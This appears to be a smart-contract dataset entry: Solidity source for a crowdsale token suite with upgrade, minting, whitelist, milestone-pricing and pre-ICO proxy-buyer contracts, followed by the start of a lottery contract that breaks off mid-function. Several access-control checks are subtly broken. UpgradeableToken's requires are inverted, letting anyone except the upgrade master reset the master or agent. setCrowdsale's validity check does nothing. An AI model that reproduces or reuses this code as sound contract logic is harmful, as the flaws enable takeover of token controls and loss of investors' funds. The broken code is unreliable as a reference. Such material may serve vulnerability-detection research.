contract UpgradeAgent {
uint public originalSupply;
function isUpgradeAgent() public constant returns (bool) {
return true;
}
function upgradeFrom(address _from, uint256 _value) public;
}
contract UpgradeableToken is StandardToken {
address public upgradeMaster;
UpgradeAgent public upgradeAgent;
uint256 public totalUpgraded;
enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading}
event Upgrade(address indexed _from, address indexed _to, uint256 _value);
event UpgradeAgentSet(address agent);
function UpgradeableToken(address _upgradeMaster) {
upgradeMaster = _upgradeMaster;
}
function upgrade(uint256 value) public {
UpgradeState state = getUpgradeState();
require(!(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading));
require (value == 0);
balances[msg.sender] = safeSub(balances[msg.sender], value);
totalSupply = safeSub(totalSupply, value);
totalUpgraded = safeAdd(totalUpgraded, value);
upgradeAgent.upgradeFrom(msg.sender, value);
Upgrade(msg.sender, upgradeAgent, value);
}
function setUpgradeAgent(address agent) external {
require(!canUpgrade());
require(agent == 0x0);
require(msg.sender != upgradeMaster);
require(getUpgradeState() == UpgradeState.Upgrading);
upgradeAgent = UpgradeAgent(agent);
require(!upgradeAgent.isUpgradeAgent());
require(upgradeAgent.originalSupply() != totalSupply);
UpgradeAgentSet(upgradeAgent);
}
function getUpgradeState() public constant returns(UpgradeState) {
if(!canUpgrade()) return UpgradeState.NotAllowed;
else if(address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent;
else if(totalUpgraded == 0) return UpgradeState.ReadyToUpgrade;
else return UpgradeState.Upgrading;
}
function setUpgradeMaster(address master) public {
require(master == 0x0);
require(msg.sender != upgradeMaster);
upgradeMaster = master;
}
function canUpgrade() public constant returns(bool) {
return true;
}
}
contract MintableTokenExt is StandardToken, Ownable {
using SMathLib for uint;
bool public mintingFinished = false;
mapping (address => bool) public mintAgents;
event MintingAgentChanged(address addr, bool state );
struct ReservedTokensData {
uint inTokens;
uint inPercentageUnit;
uint inPercentageDecimals;
}
mapping (address => ReservedTokensData) public reservedTokensList;
address[] public reservedTokensDestinations;
uint public reservedTokensDestinationsLen = 0;
function setReservedTokensList(address addr, uint inTokens, uint inPercentageUnit, uint inPercentageDecimals) onlyOwner {
reservedTokensDestinations.push(addr);
reservedTokensDestinationsLen++;
reservedTokensList[addr] = ReservedTokensData({inTokens:inTokens, inPercentageUnit:inPercentageUnit, inPercentageDecimals: inPercentageDecimals});
}
function getReservedTokensListValInTokens(address addr) constant returns (uint inTokens) {
return reservedTokensList[addr].inTokens;
}
function getReservedTokensListValInPercentageUnit(address addr) constant returns (uint inPercentageUnit) {
return reservedTokensList[addr].inPercentageUnit;
}
function getReservedTokensListValInPercentageDecimals(address addr) constant returns (uint inPercentageDecimals) {
return reservedTokensList[addr].inPercentageDecimals;
}
function setReservedTokensListMultiple(address[] addrs, uint[] inTokens, uint[] inPercentageUnit, uint[] inPercentageDecimals) onlyOwner {
for (uint iterator = 0; iterator < addrs.length; iterator++) {
setReservedTokensList(addrs[iterator], inTokens[iterator], inPercentageUnit[iterator], inPercentageDecimals[iterator]);
}
}
function mint(address receiver, uint amount) onlyMintAgent canMint public {
totalSupply = totalSupply.plus(amount);
balances[receiver] = balances[receiver].plus(amount);
Transfer(0, receiver, amount);
}
function setMintAgent(address addr, bool state) onlyOwner canMint public {
mintAgents[addr] = state;
MintingAgentChanged(addr, state);
}
modifier onlyMintAgent() {
if(!mintAgents[msg.sender]) {
revert();
}
_;
}
modifier canMint() {
if(mintingFinished) {
revert();
}
_;
}
}
contract ReleasableToken is ERC20, Ownable {
address public releaseAgent;
bool public released = false;
mapping (address => bool) public transferAgents;
modifier canTransfer(address _sender) {
if(!released) {
if(!transferAgents[_sender]) {
revert();
}
}
_;
}
function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public {
releaseAgent = addr;
}
function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public {
transferAgents[addr] = state;
}
function releaseTokenTransfer() public onlyReleaseAgent {
released = true;
}
modifier inReleaseState(bool releaseState) {
if(releaseState != released) {
revert();
}
_;
}
modifier onlyReleaseAgent() {
if(msg.sender != releaseAgent) {
revert();
}
_;
}
function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) {
return super.transferFrom(_from, _to, _value);
}
}
contract BurnableToken is StandardToken {
using SMathLib for uint;
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].minus(_value);
totalSupply = totalSupply.minus(_value);
Burn(burner, _value);
}
}
contract CrowdsaleTokenExt is ReleasableToken, MintableTokenExt, BurnableToken, UpgradeableToken {
event UpdatedTokenInformation(string newName, string newSymbol);
string public name;
string public symbol;
uint public decimals;
uint public minCap;
function CrowdsaleTokenExt(string _name, string _symbol, uint _initialSupply, uint _decimals, bool _mintable, uint _globalMinCap)
UpgradeableToken(msg.sender) {
owner = msg.sender;
name = _name;
symbol = _symbol;
totalSupply = _initialSupply;
decimals = _decimals;
minCap = _globalMinCap;
balances[owner] = totalSupply;
if(totalSupply > 0) {
Minted(owner, totalSupply);
}
if(!_mintable) {
mintingFinished = true;
if(totalSupply == 0) {
revert();
}
}
}
function releaseTokenTransfer() public onlyReleaseAgent {
super.releaseTokenTransfer();
}
function canUpgrade() public constant returns(bool) {
return released && super.canUpgrade();
}
function setTokenInformation(string _name, string _symbol) onlyOwner {
name = _name;
symbol = _symbol;
UpdatedTokenInformation(name, symbol);
}
}
contract MjtToken is CrowdsaleTokenExt {
uint public ownersProductCommissionInPerc = 5;
uint public operatorProductCommissionInPerc = 25;
event IndependentSellerJoined(address sellerWallet, uint amountOfTokens, address operatorWallet);
event OwnersProductAdded(address ownersWallet, uint amountOfTokens, address operatorWallet);
event OperatorProductCommissionChanged(uint _value);
event OwnersProductCommissionChanged(uint _value);
function setOperatorCommission(uint _value) public onlyOwner {
require(_value >= 0);
operatorProductCommissionInPerc = _value;
OperatorProductCommissionChanged(_value);
}
function setOwnersCommission(uint _value) public onlyOwner {
require(_value >= 0);
ownersProductCommissionInPerc = _value;
OwnersProductCommissionChanged(_value);
}
function independentSellerJoined(address sellerWallet, uint amountOfTokens, address operatorWallet) public onlyOwner canMint {
require(amountOfTokens > 100);
require(sellerWallet != address(0));
require(operatorWallet != address(0));
uint operatorCommission = amountOfTokens.divides(100).times(operatorProductCommissionInPerc);
uint sellerAmount = amountOfTokens.minus(operatorCommission);
if (operatorCommission > 0) {
mint(operatorWallet, operatorCommission);
}
if (sellerAmount > 0) {
mint(sellerWallet, sellerAmount);
}
IndependentSellerJoined(sellerWallet, amountOfTokens, operatorWallet);
}
function ownersProductAdded(address ownersWallet, uint amountOfTokens, address operatorWallet) public onlyOwner canMint {
require(amountOfTokens > 100);
require(ownersWallet != address(0));
require(operatorWallet != address(0));
uint ownersComission = amountOfTokens.divides(100).times(ownersProductCommissionInPerc);
uint operatorAmount = amountOfTokens.minus(ownersComission);
if (ownersComission > 0) {
mint(ownersWallet, ownersComission);
}
if (operatorAmount > 0) {
mint(operatorWallet, operatorAmount);
}
OwnersProductAdded(ownersWallet, amountOfTokens, operatorWallet);
}
function MjtToken(string _name, string _symbol, uint _initialSupply, uint _decimals, bool _mintable, uint _globalMinCap)
CrowdsaleTokenExt(_name, _symbol, _initialSupply, _decimals, _mintable, _globalMinCap) {}
}
contract FinalizeAgent {
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function finalizeCrowdsale();
}
contract PricingStrategy {
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function isPresalePurchase(address purchaser) public constant returns (bool) {
return false;
}
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
contract MilestonePricing is PricingStrategy, Ownable {
using SMathLib for uint;
uint public constant MAX_MILESTONE = 10;
mapping (address => uint) public preicoAddresses;
struct Milestone {
uint time;
uint price;
}
Milestone[10] public milestones;
uint public milestoneCount;
function MilestonePricing(uint[] _milestones) {
if(_milestones.length % 2 == 1 || _milestones.length >= MAX_MILESTONE*2) {
throw;
}
milestoneCount = _milestones.length / 2;
uint lastTimestamp = 0;
for(uint i=0; i<_milestones.length/2; i++) {
milestones[i].time = _milestones[i*2];
milestones[i].price = _milestones[i*2+1];
if((lastTimestamp != 0) && (milestones[i].time <= lastTimestamp)) {
throw;
}
lastTimestamp = milestones[i].time;
}
if(milestones[milestoneCount-1].price != 0) {
throw;
}
}
function setPreicoAddress(address preicoAddress, uint pricePerToken)
public
onlyOwner
{
preicoAddresses[preicoAddress] = pricePerToken;
}
function getMilestone(uint n) public constant returns (uint, uint) {
return (milestones[n].time, milestones[n].price);
}
function getFirstMilestone() private constant returns (Milestone) {
return milestones[0];
}
function getLastMilestone() private constant returns (Milestone) {
return milestones[milestoneCount-1];
}
function getPricingStartsAt() public constant returns (uint) {
return getFirstMilestone().time;
}
function getPricingEndsAt() public constant returns (uint) {
return getLastMilestone().time;
}
function isSane(address _crowdsale) public constant returns(bool) {
CrowdsaleExt crowdsale = CrowdsaleExt(_crowdsale);
return crowdsale.startsAt() == getPricingStartsAt() && crowdsale.endsAt() == getPricingEndsAt();
}
function getCurrentMilestone() private constant returns (Milestone) {
uint i;
for(i=0; i<milestones.length; i++) {
if(now < milestones[i].time) {
return milestones[i-1];
}
}
}
function getCurrentPrice() public constant returns (uint result) {
return getCurrentMilestone().price;
}
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint) {
uint multiplier = 10 ** decimals;
if(preicoAddresses[msgSender] > 0) {
return value.times(multiplier) / preicoAddresses[msgSender];
}
uint price = getCurrentPrice();
return value.times(multiplier) / price;
}
function isPresalePurchase(address purchaser) public constant returns (bool) {
if(preicoAddresses[purchaser] > 0)
return true;
else
return false;
}
function() payable {
throw;
}
}
contract FractionalERC20Ext is ERC20 {
uint public decimals;
uint public minCap;
}
contract CrowdsaleExt is Haltable {
uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5;
using SMathLib for uint;
FractionalERC20Ext public token;
MilestonePricing public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public presaleWeiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
bool public finalized;
bool public requireCustomerId;
bool public isWhiteListed;
address[] public joinedCrowdsales;
uint public joinedCrowdsalesLen = 0;
address public lastCrowdsale;
bool public requiredSignedAddress;
address public signerAddress;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
struct WhiteListData {
bool status;
uint minCap;
uint maxCap;
}
bool public isUpdatable;
mapping (address => WhiteListData) public earlyParticipantWhitelist;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Refund(address investor, uint weiAmount);
event InvestmentPolicyChanged(bool newRequireCustomerId, bool newRequiredSignedAddress, address newSignerAddress);
event Whitelisted(address addr, bool status);
event StartsAtChanged(uint newStartsAt);
event EndsAtChanged(uint newEndsAt);
function CrowdsaleExt(address _token, MilestonePricing _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, bool _isUpdatable, bool _isWhiteListed) {
owner = msg.sender;
token = FractionalERC20Ext(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
if(_start == 0) {
throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
if(startsAt >= endsAt) {
throw;
}
minimumFundingGoal = _minimumFundingGoal;
isUpdatable = _isUpdatable;
isWhiteListed = _isWhiteListed;
}
function() payable {
throw;
}
function investInternal(address receiver, uint128 customerId) stopInEmergency private {
if(getState() == State.PreFunding) {
throw;
} else if(getState() == State.Funding) {
if(isWhiteListed) {
if(!earlyParticipantWhitelist[receiver].status) {
throw;
}
}
} else {
throw;
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised - presaleWeiRaised, tokensSold, msg.sender, token.decimals());
if(tokenAmount == 0) {
throw;
}
if(isWhiteListed) {
if(tokenAmount < earlyParticipantWhitelist[receiver].minCap && tokenAmountOf[receiver] == 0) {
throw;
}
if(tokenAmount > earlyParticipantWhitelist[receiver].maxCap) {
throw;
}
if (isBreakingInvestorCap(receiver, tokenAmount)) {
throw;
}
} else {
if(tokenAmount < token.minCap() && tokenAmountOf[receiver] == 0) {
throw;
}
}
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
if(pricingStrategy.isPresalePurchase(receiver)) {
presaleWeiRaised = presaleWeiRaised.plus(weiAmount);
}
if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) {
throw;
}
assignTokens(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) throw;
if (isWhiteListed) {
uint num = 0;
for (var i = 0; i < joinedCrowdsalesLen; i++) {
if (this == joinedCrowdsales[i])
num = i;
}
if (num + 1 < joinedCrowdsalesLen) {
for (var j = num + 1; j < joinedCrowdsalesLen; j++) {
CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]);
crowdsale.updateEarlyParicipantWhitelist(msg.sender, this, tokenAmount);
}
}
}
Invested(receiver, weiAmount, tokenAmount, customerId);
}
function preallocate(address receiver, uint fullTokens, uint weiPrice) public onlyOwner {
uint tokenAmount = fullTokens * 10**token.decimals();
uint weiAmount = weiPrice * fullTokens;
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
assignTokens(receiver, tokenAmount);
Invested(receiver, weiAmount, tokenAmount, 0);
}
function investWithSignedAddress(address addr, uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
bytes32 hash = sha256(addr);
if (ecrecover(hash, v, r, s) != signerAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function investWithCustomerId(address addr, uint128 customerId) public payable {
if(requiredSignedAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function invest(address addr) public payable {
if(requireCustomerId) throw;
if(requiredSignedAddress) throw;
investInternal(addr, 0);
}
function buyWithSignedAddress(uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
investWithSignedAddress(msg.sender, customerId, v, r, s);
}
function buyWithCustomerId(uint128 customerId) public payable {
investWithCustomerId(msg.sender, customerId);
}
function buy() public payable {
invest(msg.sender);
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) onlyOwner {
finalizeAgent = addr;
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
function setRequireCustomerId(bool value) onlyOwner {
requireCustomerId = value;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setRequireSignedAddress(bool value, address _signerAddress) onlyOwner {
requiredSignedAddress = value;
signerAddress = _signerAddress;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setEarlyParicipantWhitelist(address addr, bool status, uint minCap, uint maxCap) onlyOwner {
if (!isWhiteListed) throw;
earlyParticipantWhitelist[addr] = WhiteListData({status:status, minCap:minCap, maxCap:maxCap});
Whitelisted(addr, status);
}
function setEarlyParicipantsWhitelist(address[] addrs, bool[] statuses, uint[] minCaps, uint[] maxCaps) onlyOwner {
if (!isWhiteListed) throw;
for (uint iterator = 0; iterator < addrs.length; iterator++) {
setEarlyParicipantWhitelist(addrs[iterator], statuses[iterator], minCaps[iterator], maxCaps[iterator]);
}
}
function updateEarlyParicipantWhitelist(address addr, address contractAddr, uint tokensBought) {
if (tokensBought < earlyParticipantWhitelist[addr].minCap) throw;
if (!isWhiteListed) throw;
if (addr != msg.sender && contractAddr != msg.sender) throw;
uint newMaxCap = earlyParticipantWhitelist[addr].maxCap;
newMaxCap = newMaxCap.minus(tokensBought);
earlyParticipantWhitelist[addr] = WhiteListData({status:earlyParticipantWhitelist[addr].status, minCap:0, maxCap:newMaxCap});
}
function updateJoinedCrowdsales(address addr) onlyOwner {
joinedCrowdsales[joinedCrowdsalesLen++] = addr;
}
function setLastCrowdsale(address addr) onlyOwner {
lastCrowdsale = addr;
}
function clearJoinedCrowdsales() onlyOwner {
joinedCrowdsalesLen = 0;
}
function updateJoinedCrowdsalesMultiple(address[] addrs) onlyOwner {
clearJoinedCrowdsales();
for (uint iter = 0; iter < addrs.length; iter++) {
if(joinedCrowdsalesLen == joinedCrowdsales.length) {
joinedCrowdsales.length += 1;
}
joinedCrowdsales[joinedCrowdsalesLen++] = addrs[iter];
if (iter == addrs.length - 1)
setLastCrowdsale(addrs[iter]);
}
}
function setStartsAt(uint time) onlyOwner {
if (finalized) throw;
if (!isUpdatable) throw;
if(now > time) {
throw;
}
if(time > endsAt) {
throw;
}
CrowdsaleExt lastCrowdsaleCntrct = CrowdsaleExt(lastCrowdsale);
if (lastCrowdsaleCntrct.finalized()) throw;
startsAt = time;
StartsAtChanged(startsAt);
}
function setEndsAt(uint time) onlyOwner {
if (finalized) throw;
if (!isUpdatable) throw;
if(now > time) {
throw;
}
if(startsAt > time) {
throw;
}
CrowdsaleExt lastCrowdsaleCntrct = CrowdsaleExt(lastCrowdsale);
if (lastCrowdsaleCntrct.finalized()) throw;
uint num = 0;
for (var i = 0; i < joinedCrowdsalesLen; i++) {
if (this == joinedCrowdsales[i])
num = i;
}
if (num + 1 < joinedCrowdsalesLen) {
for (var j = num + 1; j < joinedCrowdsalesLen; j++) {
CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]);
if (time > crowdsale.startsAt()) throw;
}
}
endsAt = time;
EndsAtChanged(endsAt);
}
function setPricingStrategy(MilestonePricing _pricingStrategy) onlyOwner {
pricingStrategy = _pricingStrategy;
if(!pricingStrategy.isPricingStrategy()) {
throw;
}
}
function setMultisig(address addr) public onlyOwner {
if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) {
throw;
}
multisigWallet = addr;
}
function loadRefund() public payable inState(State.Failure) {
if(msg.value == 0) throw;
loadedRefund = loadedRefund.plus(msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
if (weiValue == 0) throw;
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.plus(weiValue);
Refund(msg.sender, weiValue);
if (!msg.sender.send(weiValue)) throw;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function isFinalizerSane() public constant returns (bool sane) {
return finalizeAgent.isSane();
}
function isPricingSane() public constant returns (bool sane) {
return pricingStrategy.isSane(address(this));
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) onlyOwner {
ownerTestValue = val;
}
function isCrowdsale() public constant returns (bool) {
return true;
}
modifier inState(State state) {
if(getState() != state) throw;
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken);
function isBreakingInvestorCap(address receiver, uint tokenAmount) constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract MintedTokenCappedCrowdsaleExt is CrowdsaleExt {
uint public maximumSellableTokens;
function MintedTokenCappedCrowdsaleExt(address _token, MilestonePricing _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, uint _maximumSellableTokens, bool _isUpdatable, bool _isWhiteListed) CrowdsaleExt(_token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal, _isUpdatable, _isWhiteListed) {
maximumSellableTokens = _maximumSellableTokens;
}
event MaximumSellableTokensChanged(uint newMaximumSellableTokens);
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken) {
return tokensSoldTotal > maximumSellableTokens;
}
function isBreakingInvestorCap(address addr, uint tokenAmount) constant returns (bool limitBroken) {
if (!isWhiteListed) throw;
uint maxCap = earlyParticipantWhitelist[addr].maxCap;
return (tokenAmountOf[addr].plus(tokenAmount)) > maxCap;
}
function isCrowdsaleFull() public constant returns (bool) {
return tokensSold >= maximumSellableTokens;
}
function assignTokens(address receiver, uint tokenAmount) private {
CrowdsaleTokenExt mintableToken = CrowdsaleTokenExt(token);
mintableToken.mint(receiver, tokenAmount);
}
function setMaximumSellableTokens(uint tokens) onlyOwner {
if (finalized) throw;
if (!isUpdatable) throw;
CrowdsaleExt lastCrowdsaleCntrct = CrowdsaleExt(lastCrowdsale);
if (lastCrowdsaleCntrct.finalized()) throw;
maximumSellableTokens = tokens;
MaximumSellableTokensChanged(maximumSellableTokens);
}
}
library SMathLib {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function divides(uint a, uint b) returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
}
contract PreICOProxyBuyer is Ownable, Haltable {
using SMathLib for uint;
uint public investorCount;
uint public weiRaised;
address[] public investors;
mapping(address => uint) public balances;
mapping(address => uint) public claimed;
uint public freezeEndsAt;
uint public weiMinimumLimit;
uint public weiMaximumLimit;
uint public weiCap;
uint public tokensBought;
uint public claimCount;
uint public totalClaimed;
uint public timeLock;
bool public forcedRefund;
CrowdsaleExt public crowdsale;
enum State{Unknown, Funding, Distributing, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Refunded(address investor, uint value);
event TokensBoughts(uint count);
event Distributed(address investor, uint count);
function PreICOProxyBuyer(address _owner, uint _freezeEndsAt, uint _weiMinimumLimit, uint _weiMaximumLimit, uint _weiCap) {
owner = _owner;
if(_freezeEndsAt == 0) {
throw;
}
if(_weiMinimumLimit == 0) {
throw;
}
if(_weiMaximumLimit == 0) {
throw;
}
weiMinimumLimit = _weiMinimumLimit;
weiMaximumLimit = _weiMaximumLimit;
weiCap = _weiCap;
freezeEndsAt = _freezeEndsAt;
}
function getToken() public constant returns(FractionalERC20Ext) {
if(address(crowdsale) == 0) {
throw;
}
return crowdsale.token();
}
function invest(uint128 customerId) private {
if(getState() != State.Funding) throw;
if(msg.value == 0) throw;
address investor = msg.sender;
bool existing = balances[investor] > 0;
balances[investor] = balances[investor].plus(msg.value);
if(balances[investor] < weiMinimumLimit || balances[investor] > weiMaximumLimit) {
throw;
}
if(!existing) {
investors.push(investor);
investorCount++;
}
weiRaised = weiRaised.plus(msg.value);
if(weiRaised > weiCap) {
throw;
}
Invested(investor, msg.value, 0, customerId);
}
function buyWithCustomerId(uint128 customerId) public stopInEmergency payable {
invest(customerId);
}
function buy() public stopInEmergency payable {
invest(0x0);
}
function buyForEverybody() stopNonOwnersInEmergency public {
if(getState() != State.Funding) {
throw;
}
if(address(crowdsale) == 0) throw;
crowdsale.invest.value(weiRaised)(address(this));
tokensBought = getToken().balanceOf(address(this));
if(tokensBought == 0) {
throw;
}
TokensBoughts(tokensBought);
}
function getClaimAmount(address investor) public constant returns (uint) {
if(getState() != State.Distributing) {
throw;
}
return balances[investor].times(tokensBought) / weiRaised;
}
function getClaimLeft(address investor) public constant returns (uint) {
return getClaimAmount(investor).minus(claimed[investor]);
}
function claimAll() {
claim(getClaimLeft(msg.sender));
}
function claim(uint amount) stopInEmergency {
require (now > timeLock);
address investor = msg.sender;
if(amount == 0) {
throw;
}
if(getClaimLeft(investor) < amount) {
throw;
}
if(claimed[investor] == 0) {
claimCount++;
}
claimed[investor] = claimed[investor].plus(amount);
totalClaimed = totalClaimed.plus(amount);
getToken().transfer(investor, amount);
Distributed(investor, amount);
}
function refund() stopInEmergency {
if(getState() != State.Refunding) throw;
address investor = msg.sender;
if(balances[investor] == 0) throw;
uint amount = balances[investor];
delete balances[investor];
if(!(investor.call.value(amount)())) throw;
Refunded(investor, amount);
}
function setCrowdsale(CrowdsaleExt _crowdsale) public onlyOwner {
crowdsale = _crowdsale;
if(!crowdsale.isCrowdsale()) true;
}
function setTimeLock(uint _timeLock) public onlyOwner {
timeLock = _timeLock;
}
function forceRefund() public onlyOwner {
forcedRefund = true;
}
function loadRefund() public payable {
if(getState() != State.Refunding) throw;
}
function getState() public view returns(State) {
if (forcedRefund)
return State.Refunding;
if(tokensBought == 0) {
if(now >= freezeEndsAt) {
return State.Refunding;
} else {
return State.Funding;
}
} else {
return State.Distributing;
}
}
function isPresale() public constant returns (bool) {
return true;
}
function() payable {
throw;
}
} | 0 | 973 |
pragma solidity ^0.4.24;
contract PlutoCommyLotto {
address public maintenanceFunds;
uint public currentCicle = 0;
uint public numBlocksForceEnd = 5760;
uint public jackpotPossibilities = 5000000;
uint public winnerPct = 20;
uint public commyPct = 80;
uint public lastJackpotResult;
uint private costIncrementNormal = 5;
uint private idealReserve = 60 finney;
uint private minTicketCost = 1 finney / 10;
uint private baseTicketProportion = 30;
uint private maintenanceTickets = 50;
struct Cicle {
mapping (address => uint) ticketsByHash;
address lastPlayer;
uint number;
uint initialBlock;
uint numTickets;
uint currentTicketCost;
uint lastJackpotChance;
uint winnerPot;
uint commyPot;
uint commyReward;
uint lastBetBlock;
bool isActive;
}
mapping (uint => Cicle) public cicles;
modifier onlyInitOnce() {
require(currentCicle == 0);
_;
}
modifier onlyLastPlayer(uint cicleNumber) {
require(msg.sender == cicles[cicleNumber].lastPlayer);
_;
}
modifier onlyIfNoActivity(uint cicleNumber) {
require(block.number - cicles[cicleNumber].lastBetBlock > numBlocksForceEnd);
_;
}
modifier onlyActiveCicle(uint cicleNumber) {
require(cicles[cicleNumber].isActive == true);
_;
}
modifier onlyInactiveCicle(uint cicleNumber) {
require(cicles[cicleNumber].isActive == false);
_;
}
modifier onlyWithTickets(uint cicleNumber) {
require(cicles[cicleNumber].ticketsByHash[msg.sender] > 0);
_;
}
modifier onlyValidCicle(uint cicleNumber) {
require(cicleNumber <= currentCicle);
_;
}
function init() public payable onlyInitOnce() {
maintenanceFunds = msg.sender;
createNewCicle();
idealReserve = msg.value;
uint winnerVal = msg.value * winnerPct / 100;
cicles[currentCicle].winnerPot += winnerVal;
cicles[currentCicle].commyPot += msg.value - winnerVal;
cicles[currentCicle].currentTicketCost = ((cicles[currentCicle].winnerPot + cicles[currentCicle].commyPot) / baseTicketProportion);
setCommyReward(currentCicle);
}
event NewCicle(uint indexed cicleNumber, uint firstBlock);
function createNewCicle() private {
currentCicle += 1;
cicles[currentCicle] = Cicle({ number:currentCicle,
initialBlock:block.number,
numTickets:maintenanceTickets,
lastPlayer:maintenanceFunds,
lastJackpotChance:0,
lastBetBlock:block.number,
winnerPot:0,
commyPot:0,
commyReward:0,
currentTicketCost:0,
isActive:false });
cicles[currentCicle].ticketsByHash[maintenanceFunds] = maintenanceTickets;
if(currentCicle != 1) {
cicles[currentCicle-1].ticketsByHash[maintenanceFunds] = 0;
if (cicles[currentCicle-1].commyReward * maintenanceTickets > idealReserve) {
cicles[currentCicle].winnerPot = idealReserve * winnerPct / 100;
cicles[currentCicle].commyPot = idealReserve * commyPct / 100;
maintenanceFunds.transfer(cicles[currentCicle-1].commyReward * maintenanceTickets - idealReserve);
} else {
if(cicles[currentCicle-1].numTickets == maintenanceTickets) {
cicles[currentCicle].winnerPot = cicles[currentCicle-1].winnerPot;
cicles[currentCicle].commyPot = cicles[currentCicle-1].commyPot;
} else {
cicles[currentCicle].winnerPot = (cicles[currentCicle-1].commyReward * maintenanceTickets) * winnerPct / 100;
cicles[currentCicle].commyPot = (cicles[currentCicle-1].commyReward * maintenanceTickets) * commyPct / 100;
}
}
setCommyReward(currentCicle);
cicles[currentCicle].currentTicketCost = (cicles[currentCicle].winnerPot + cicles[currentCicle].commyPot) / baseTicketProportion;
if(cicles[currentCicle].currentTicketCost < minTicketCost) {
cicles[currentCicle].currentTicketCost = minTicketCost;
}
}
cicles[currentCicle].isActive = true;
emit NewCicle(currentCicle, block.number);
}
function setCommyReward(uint cicleNumber) private {
cicles[cicleNumber].commyReward = cicles[cicleNumber].commyPot / (cicles[cicleNumber].numTickets-1);
}
event NewBet(uint indexed cicleNumber, address indexed player, uint instantPrize, uint jackpotChance, uint jackpotResult, bool indexed hasHitJackpot);
function bet() public payable {
require (msg.value >= cicles[currentCicle].currentTicketCost);
cicles[currentCicle].lastBetBlock = block.number;
